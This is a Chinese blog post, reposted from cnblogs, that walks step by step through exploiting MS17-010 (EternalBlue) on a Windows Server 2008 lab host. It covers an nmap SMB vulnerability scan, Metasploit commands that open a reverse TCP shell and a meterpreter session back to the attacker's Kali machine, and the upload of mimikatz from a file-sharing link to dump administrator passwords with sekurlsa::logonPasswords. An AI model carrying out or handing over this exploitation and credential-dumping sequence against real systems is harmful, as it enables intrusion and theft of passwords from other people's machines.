MS17-010|MS17-010 漏洞利用
环境
- 被攻击目标IP: 192.168.118.137 系统类型：windows server 2008
- 攻击IP(黑客主机): 192.168.118.130 系统类型： KALI
nmap -p139,445 -Pn -n--scriptsmb-vuln-*192.168.118.137#扫描结果显示存在 MS17-010漏洞# -Pn ：跳过主机存活监测
# -n: 关闭域名查询
# smb-vuln-*: *指代以smb-vuln-所有的漏洞脚本
使用Metasploit攻击
- 启动MSF: msfconsole
- 搜索攻击模块：search ms17-010
- 加载模块：
use exploit/windows/smb/ms17_010_eternalblue 
文章图片
使用show options 或者options查看选项设置
可以使用show targets来查看可以攻击的系统版本
使用show payloads可以加载所有可以使用的攻击向量
文章图片
设置攻击目标
set RHOST 192.168.118.137
文章图片
设置并加载payload：
set payload generic/shell_reverse_tcp 并设置反弹shell连接的地址和端口，默认端口是4444
set LHOST 192.168.118.130
文章图片
使用命令expolit或者run进行攻击：攻击成功后会反弹shell
文章图片
PAYLOAD2 持久会话
#接着上面的继续使用下面的payload,可以进行文件上传
set payload windows/x64/meterpreter/reverse_tcp
然后使用 run
文章图片
Meterpreter session 2 opened (192.168.118.130:4444 -> 192.168.118.137:49159) at 2018-09-13 15:42:36 +0800
这句话告诉我们反弹了一个会话本机的4444到目标主机的49159
使用命令进入会话: sessions 2
使用upload 上传文件，将本机的/root/x64/的文件上传到目标主机mimikatz 获取hash 以及明文密码
下载地址：https://pan.baidu.com/s/1RX9FGQRUtZJQQ_6Lyq1m-Q 密码：coxc下面我们利用mimikatz获取目标主机的管理员密码：
输入shell进入目标主机的CMD
文章图片
mimikatz使用帮助:
输入xxx::能够看看mimikatz的命令帮助
输入privilege::回车能看到privilege的命令帮助输入privilege::debug进行提权操作
输入sekurlsa::logonPasswords获取windows用户密码
文章图片
文章图片
END
【MS17-010|MS17-010 漏洞利用】转载于:https://www.cnblogs.com/ssjt/articles/9641954.html
推荐阅读
- CVE-2020-16898|CVE-2020-16898 TCP/IP远程代码执行漏洞
- 难道你仅会钻规则的漏洞吗（）
- Spring|Spring Boot 自动配置的原理、核心注解以及利用自动配置实现了自定义 Starter 组件
- 【万伽复利】什么是复利（如何利用复利赚钱？）
- 苹果手机如何利用库乐队自制铃声
- “没有利用价值的人是很受冷遇的。”
- 可悲的好人
- 利用好你的暗时间，让成长无处不在
- PHP|PHP Everywhere 三个 RCE 漏洞威胁大量 WordPress 网站
- 如何利用漏斗模型增加转化率减少流失率（）